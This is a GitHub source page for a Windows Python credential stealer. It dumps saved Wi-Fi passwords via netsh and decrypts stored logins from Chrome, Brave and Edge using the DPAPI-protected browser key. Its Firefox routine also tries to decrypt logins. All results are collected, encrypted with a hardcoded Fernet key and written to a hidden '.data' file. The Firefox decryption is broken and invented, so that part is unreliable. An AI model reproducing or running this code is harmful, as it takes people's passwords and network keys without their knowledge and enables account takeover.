-
Notifications
You must be signed in to change notification settings - Fork 1
/
main_Windows.py
456 lines (378 loc) · 15.6 KB
/
main_Windows.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
import subprocess
import os
import json
from base64 import b64decode
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
from Crypto.PublicKey import RSA
import shutil
from datetime import datetime, timedelta
import sys
from cryptography.fernet import Fernet
RESULT=""
key=b'9RmTuhsWSz7hcy_uxz72ci6hVCKQ5tc_Y18qJXIY3sE='
fernet = Fernet(key)
Enable_Encryption="YES"
def spacer():
return (("########################################################")+'\n')
def loadKeys(public):
public=b64decode(public)
pub=RSA.importKey(public)
return pub
sys.stdout = open('.data', 'w')
def ender():
global RESULT
RESULT+=("@@@@@@@@@@@@ END OF CONTENT @@@@@@@@@@@@")+'\n'
RESULT+=("@@@@@@@@@@@@ END OF CONTENT @@@@@@@@@@@@")+'\n'
RESULT+=("@@@@@@@@@@@@ END OF CONTENT @@@@@@@@@@@@")+'\n'
def encrypt(message):
if(Enable_Encryption != "YES"):
spacer()
print("Printing in plane text format as RSA public key not provided,,,, please refer to README")
spacer()
return message
return fernet.encrypt(message.encode())
def wifi_pass_stealler():
global RESULT
result = ""
result+="WIFI PASSWORDS\n"
data = subprocess.check_output(
['netsh', 'wlan', 'show', 'profiles'], shell=True, stderr=sys.stdout).decode('utf-8').split('\n')
profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i]
for i in profiles:
password = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i,
'key=clear'], shell=True).decode('utf-8').split('\n')
password = [b.split(":")[1][1:-1]
for b in password if "Key Content" in b]
try:
result += (("{:<30}| {:<}".format(i, password[0])))+'\n'
except IndexError:
result += (("{:<30}| {:<}".format(i, "")))+'\n'
RESULT+=result
ender()
def chrome_pass_stealler():
global RESULT
result=""
result+="CHROME PASSWORDS\n"
def chrome_date_and_time(chrome_data):
return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)
def fetching_encryption_key():
local_computer_directory_path = os.path.join(
os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome",
"User Data", "Local State")
with open(local_computer_directory_path, "r", encoding="utf-8") as f:
local_state_data = f.read()
local_state_data = json.loads(local_state_data)
encryption_key = base64.b64decode(
local_state_data["os_crypt"]["encrypted_key"])
encryption_key = encryption_key[5:]
return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
def password_decryption(password, encryption_key):
try:
iv = password[3:15]
password = password[15:]
cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return "No Passwords"
key = fetching_encryption_key()
db_path = os.path.join("powershell",os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome","User` Data")
users=os.popen('powershell ls '+db_path).read()
cnt=0
for i in range(1,10):
if(users.count("Profile "+str(i))):
cnt+=1
else:
break
for userid in range (0,cnt+1):
try:
profile="Profile "+str(userid)
result+=spacer()
result+=profile+'\n'
result+=spacer()
if(userid==0):
profile="Default"
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Google", "Chrome", "User Data", profile, "Login Data")
filename = "ChromePasswords.db"
shutil.copyfile(db_path, filename)
db = sqlite3.connect(filename)
cursor = db.cursor()
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
"order by date_last_used")
for row in cursor.fetchall():
main_url = row[0]
login_page_url = row[1]
user_name = row[2]
decrypted_password = password_decryption(row[3], key)
date_of_creation = row[4]
last_usuage = row[5]
if user_name or decrypted_password:
result+=(f"Main URL: {main_url}")+'\n'
result+=(f"Login URL: {login_page_url}")+'\n'
result+=(f"User name: {user_name}")+'\n'
result+=(f"Decrypted Password: {decrypted_password}")+'\n'
else:
continue
if date_of_creation != 86400000000 and date_of_creation:
result+=(
f"Creation date: {str(chrome_date_and_time(date_of_creation))}")+'\n'
if last_usuage != 86400000000 and last_usuage:
result+=(f"Last Used: {str(chrome_date_and_time(last_usuage))}")+'\n'
result+=("=" * 100)+'\n'
cursor.close()
db.close()
try:
os.remove(filename)
except:
pass
except:
continue
RESULT+=result
ender()
def brave_pass_stealler():
global RESULT
result=""
result+="BRAVE PASSWORDS\n"
def chrome_date_and_time(chrome_data):
return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)
def fetching_encryption_key():
local_computer_directory_path = os.path.join(
os.environ["USERPROFILE"], "AppData", "Local", "BraveSoftware","Brave-Browser",
"User Data", "Local State")
with open(local_computer_directory_path, "r", encoding="utf-8") as f:
local_state_data = f.read()
local_state_data = json.loads(local_state_data)
encryption_key = base64.b64decode(
local_state_data["os_crypt"]["encrypted_key"])
encryption_key = encryption_key[5:]
return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
def password_decryption(password, encryption_key):
try:
iv = password[3:15]
password = password[15:]
cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return "No Passwords"
key = fetching_encryption_key()
db_path = os.path.join("powershell",os.environ["USERPROFILE"], "AppData", "Local",
"BraveSoftware","Brave-Browser","User` Data")
users=os.popen('powershell ls '+db_path).read()
cnt=0
for i in range(1,10):
if(users.count("Profile "+str(i))):
cnt+=1
else:
break
for userid in range (0,cnt+1):
try:
profile="Profile "+str(userid)
result+=spacer()
result+=profile+'\n'
result+=spacer()
if(userid==0):
profile="Default"
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"BraveSoftware","Brave-Browser", "User Data", profile, "Login Data")
filename = "BravePasswords.db"
shutil.copyfile(db_path, filename)
db = sqlite3.connect(filename)
cursor = db.cursor()
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
"order by date_last_used")
for row in cursor.fetchall():
main_url = row[0]
login_page_url = row[1]
user_name = row[2]
decrypted_password = password_decryption(row[3], key)
date_of_creation = row[4]
last_usuage = row[5]
if user_name or decrypted_password:
result+=(f"Main URL: {main_url}")+'\n'
result+=(f"Login URL: {login_page_url}")+'\n'
result+=(f"User name: {user_name}")+'\n'
result+=(f"Decrypted Password: {decrypted_password}")+'\n'
else:
continue
if date_of_creation != 86400000000 and date_of_creation:
result+=(
f"Creation date: {str(chrome_date_and_time(date_of_creation))}")+'\n'
if last_usuage != 86400000000 and last_usuage:
result+=(f"Last Used: {str(chrome_date_and_time(last_usuage))}")+'\n'
result+=("=" * 100)+'\n'
cursor.close()
db.close()
try:
os.remove(filename)
except:
pass
except:
continue
RESULT+=result
ender()
def edge_pass_stealler():
global RESULT
result=""
result+="EDGE PASSWORDS\n"
def chrome_date_and_time(chrome_data):
return datetime(1601, 1, 1) + timedelta(microseconds=chrome_data)
def fetching_encryption_key():
local_computer_directory_path = os.path.join(
os.environ["USERPROFILE"], "AppData", "Local", "Microsoft", "Edge",
"User Data", "Local State")
with open(local_computer_directory_path, "r", encoding="utf-8") as f:
local_state_data = f.read()
local_state_data = json.loads(local_state_data)
encryption_key = base64.b64decode(
local_state_data["os_crypt"]["encrypted_key"])
encryption_key = encryption_key[5:]
return win32crypt.CryptUnprotectData(encryption_key, None, None, None, 0)[1]
def password_decryption(password, encryption_key):
try:
iv = password[3:15]
password = password[15:]
cipher = AES.new(encryption_key, AES.MODE_GCM, iv)
return cipher.decrypt(password)[:-16].decode()
except:
try:
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
except:
return "No Passwords"
key = fetching_encryption_key()
db_path = os.path.join("powershell",os.environ["USERPROFILE"], "AppData", "Local",
"Microsoft", "Edge","User` Data")
users=os.popen('powershell ls '+db_path).read()
cnt=0
for i in range(1,10):
if(users.count("Profile "+str(i))):
cnt+=1
else:
break
for userid in range (0,cnt+1):
try:
profile="Profile "+str(userid)
result+=spacer()
result+=profile+'\n'
result+=spacer()
if(userid==0):
profile="Default"
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Microsoft", "Edge", "User Data", profile, "Login Data")
filename = "EdgePasswords.db"
shutil.copyfile(db_path, filename)
db = sqlite3.connect(filename)
cursor = db.cursor()
cursor.execute(
"select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins "
"order by date_last_used")
for row in cursor.fetchall():
main_url = row[0]
login_page_url = row[1]
user_name = row[2]
decrypted_password = password_decryption(row[3], key)
date_of_creation = row[4]
last_usuage = row[5]
if user_name or decrypted_password:
result+=(f"Main URL: {main_url}")+'\n'
result+=(f"Login URL: {login_page_url}")+'\n'
result+=(f"User name: {user_name}")+'\n'
result+=(f"Decrypted Password: {decrypted_password}")+'\n'
else:
continue
if date_of_creation != 86400000000 and date_of_creation:
result+=(
f"Creation date: {str(chrome_date_and_time(date_of_creation))}")+'\n'
if last_usuage != 86400000000 and last_usuage:
result+=(f"Last Used: {str(chrome_date_and_time(last_usuage))}")+'\n'
result+=("=" * 100)+'\n'
cursor.close()
db.close()
try:
os.remove(filename)
except:
pass
except:
continue
RESULT+=result
ender()
def enumerate_Directories():
global RESULT
lst=["Downloads","Documents","Pictures","Music","Desktop"]
result=''
result+="Directory Enumeration\n"
for i in lst:
cmd="powershell tree /F "+os.environ["USERPROFILE"]+"\\"+i
result+= subprocess.run(cmd, capture_output=True, text=True).stdout
result+=spacer()
RESULT+=result
ender()
def firefox_pass_stealler():
global RESULT
result = ""
result += "FIREFOX PASSWORDS\n"
def firefox_date_and_time(firefox_data):
return datetime.utcfromtimestamp(firefox_data / 1000000)
def password_decryption(encrypted_password):
try:
decrypted_password = None
master_password = None
for filename in ["key3.db", "key4.db"]:
path = os.path.join(os.environ["APPDATA"], "Mozilla", "Firefox", "Profiles", "*", filename)
key_file = glob.glob(path)[0]
conn = sqlite3.connect(key_file)
cursor = conn.cursor()
cursor.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
for row in cursor.fetchall():
if row[0] == "password" and row[1][:3] == "$2a":
master_password = row[1]
break
if master_password is not None:
fernet_key = master_password.encode("utf-8").split(b"\x00")[1]
fernet = Fernet(fernet_key)
decrypted_password = fernet.decrypt(encrypted_password).decode("utf-8")
else:
decrypted_password = win32crypt.CryptUnprotectData(encrypted_password, None, None, None, 0)[1]
return decrypted_password
except:
return "No Passwords"
db_path = os.path.join(os.environ["APPDATA"], "Mozilla", "Firefox", "Profiles")
profiles = os.listdir(db_path)
for profile in profiles:
try:
filename = os.path.join(db_path, profile, "logins.json")
with open(filename, "r", encoding="utf-8") as f:
logins_data = json.loads(f.read())
for login in logins_data["logins"]:
url = login["hostname"]
username = login["username"]
encrypted_password = login["encryptedPassword"]
decrypted_password = password_decryption(encrypted_password)
if username or decrypted_password:
result += f"URL: {url}\n"
result += f"Username: {username}\n"
result += f"Decrypted Password: {decrypted_password}\n"
except:
pass
RESULT += result
ender()
ender()
if __name__ == "__main__":
wifi_pass_stealler()
chrome_pass_stealler()
brave_pass_stealler()
edge_pass_stealler()
firefox_pass_stealler()
#enumerate_Directories()
print(encrypt(RESULT))